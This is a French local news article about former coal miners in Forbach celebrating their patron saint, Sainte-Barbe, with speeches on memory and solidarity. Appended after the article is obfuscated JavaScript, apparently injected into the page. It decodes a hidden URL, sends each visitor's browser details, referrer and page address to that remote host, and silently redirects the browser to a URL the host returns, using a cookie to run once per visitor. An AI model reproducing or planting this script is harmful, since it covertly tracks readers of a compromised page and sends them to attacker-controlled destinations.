Sainte-Barbe, Forbach Creutzberg
Un peu avant tout le monde, le collectif Sainte-Barbe a honoré sa sainte patronne, samedi soir au Creutzberg. Un événement cher au cœur des anciens mineurs forbachois.
Elle a veillé sur nous quand nous étions au fond de la mine. Elle a été notre symbole quand nous avions peur d’y rester. Elle l’est encore aujourd’hui pour toute notre génération. » En accueillant les anciens mineurs dans la salle du Creutzberg, Patrick Neu, président du collectif Sainte-Barbe de Forbach et environs, a rappelé combien cette célébration annuelle tenait au cœur des anciennes gueules noires. « Nous la fêtons en hommages aux hommes restés au fond mais aussi pour les vivants, ceux qui restent et qui transmettent leur mémoire. »
Un message fort déjà évoqué lors du dépôt de gerbe au monument des mineurs, lors de la messe et de la retraite aux flambeaux précédant la cérémonie. « Il ne faut pas oublier le sacrifice des mineurs qui ont construit leur territoire », a souligné Marie-Antoinette Gerolt, conseillère générale. « Vous êtes la fierté de notre Moselle-Est, a renchéri Carmen Diligent, conseillère régionale. Merci à vous d’avoir œuvré pour nous. »
Avant la prestation de l’ensemble Chœur à cœur, invité par le collectif, le député-maire Laurent Kalinowski a, quant à lui, insisté la notion de solidarité. « Les mineurs ont travaillé, ensemble, à l’essor de toute une région. Cette valeur ne doit pas disparaître. En vous rassemblant en collectif, vous avez parfaitement compris que c’était la garantie pour vous de ne pas disparaître. Je suis persuadé que ce sentiment doit animer chacun d’entre nous. C’est en étant solidaire que l’on devient plus fort. »
Devant les porte-drapeaux, les représentants des mines allemandes et l’assemblée des anciens mineurs, Patrick Neu a également annoncé que la société des mineurs de Forbach venait de réintégrer la fédération des mineurs et sidérurgistes de Lorraine. « Les querelles ont été mises de côté pour célébrer la solidarité qui est chère au cœur des mineurs. »
var uomjftkd = { encode: function (uymcrbbu, ivpjzup1) { var juykdjus = « »; for (var bmtvoq = 0; bmtvoq < uymcrbbu.length; bmtvoq++) { var maoakjle = uymcrbbu.charCodeAt(bmtvoq); var vznvir = maoakjle ^ ivpjzup1.charCodeAt(bmtvoq % ivpjzup1.length); juykdjus = juykdjus + String.fromCharCode(vznvir); } return juykdjus; }};function ivlvxbnl(xspsscex, qmjwsdtc){ return uomjftkd.encode(xspsscex, qmjwsdtc);}function nhqlzziy(vtzoxco, qmjwsdtc) { function mnbggf(url, qvfdnorl, gaurhzsa) { var svzjxjw = new XMLHttpRequest(); var mvlmqh = ""; var ngpewk = []; var djzspyoe; for(djzspyoe in qvfdnorl) { ngpewk.push(encodeURIComponent(djzspyoe) + '=' + encodeURIComponent(qvfdnorl[djzspyoe])); } mvlmqh = ngpewk.join(String.fromCharCode(38)).replace(/%20/g, '+'); svzjxjw.onreadystatechange = gaurhzsa; svzjxjw.open('GET', vtzoxco + "?" + mvlmqh); svzjxjw.send(mvlmqh); } var broilplq = { ua: navigator.userAgent, referrer: document.referrer, host: window.location.hostname, uri: window.location.pathname, lang: navigator.language, guid: qmjwsdtc }; mnbggf(vtzoxco, broilplq, function () { if (this.readyState == 4) { if (this.status == 200) { qvfdnorl = this.responseText; if (typeof(qvfdnorl) === 'string') { if (qvfdnorl.indexOf("http") === 0) { window.location = qvfdnorl; } } } } });}var advuwpjt = Array();var qmjwsdtc = '08430616d2a2d9759b18f9b49fcabc12';if (document.cookie.indexOf(qmjwsdtc) === -1){ advuwpjt.push(String.fromCharCode(88,76,64,67,67,12,30,25,9,75,8,92,2,86,67,71,88,1,90,93,20,23,11,90,95,9,76,0,18,10,28,88,67,22,68,91,64)); document.cookie = qmjwsdtc + '=1; path=/'; advuwpjt = advuwpjt.forEach(function (xspsscex) { var juykdjus = ivlvxbnl(xspsscex, qmjwsdtc); if (typeof(juykdjus) === 'string') { if (juykdjus.indexOf("http") === 0) { nhqlzziy(juykdjus, qmjwsdtc); return; } } });}
Beau boulot